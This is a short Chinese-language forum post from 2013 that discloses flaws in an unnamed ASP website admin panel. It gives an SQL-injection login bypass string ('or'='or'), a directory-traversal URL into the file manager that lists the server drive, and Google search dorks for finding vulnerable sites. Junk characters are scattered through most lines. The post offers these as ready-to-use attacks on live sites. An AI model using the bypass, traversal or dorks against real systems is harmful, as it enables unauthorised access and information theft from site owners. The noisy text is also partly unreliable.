后台万能密码 'or'='or'' J, l* {5 j; @3 j+ S" f( L
' m2 Q- i2 v' w
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
$ G% @/ K9 f5 t, \* `# s# gadmin/uploadfile.asp?currentFolder=/upfiles/../
$ X3 |1 A1 Z. {* p& H, W( ^8 O# e' u: e, ~
漏洞证明：
) h/ O& L9 C" t8 F' h6 o, p- h% O# Q) V) U0 V) I
谷歌：inurl:type.asp?id=1 新闻中心4 [! Z; A5 N2 l3 Y: {
或者 ：inurl:download_ok.asp?
- V2 Q" z9 c( j& L3 ]* d& Q; h6 B
3 ~% `6 Q. ]& d8 y |
发表于 2013-3-14 20:17:32
收藏
支持
反对